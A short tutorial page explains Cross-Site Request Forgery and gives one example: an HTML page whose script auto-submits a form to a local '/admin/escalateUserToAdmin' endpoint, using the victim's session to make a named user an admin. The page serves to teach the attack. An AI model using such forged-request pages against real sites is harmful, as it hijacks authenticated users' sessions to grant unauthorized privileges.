Skip to content

CSRF Attacks

CSRF (Cross-Site Request Forgery) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.

Here's a simple example of a CSRF attack:

<html>
  <body>
    <form action="http://127.0.0.1:1337/admin/escalateUserToAdmin" method="post">
      <input type="text" name="username" value="sarp" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

This simple HTML page will automatically submit a form to escalate a user to an admin. If the user is authenticated to the application, the request will be sent with the user's session cookie, and the user will be escalated to an admin.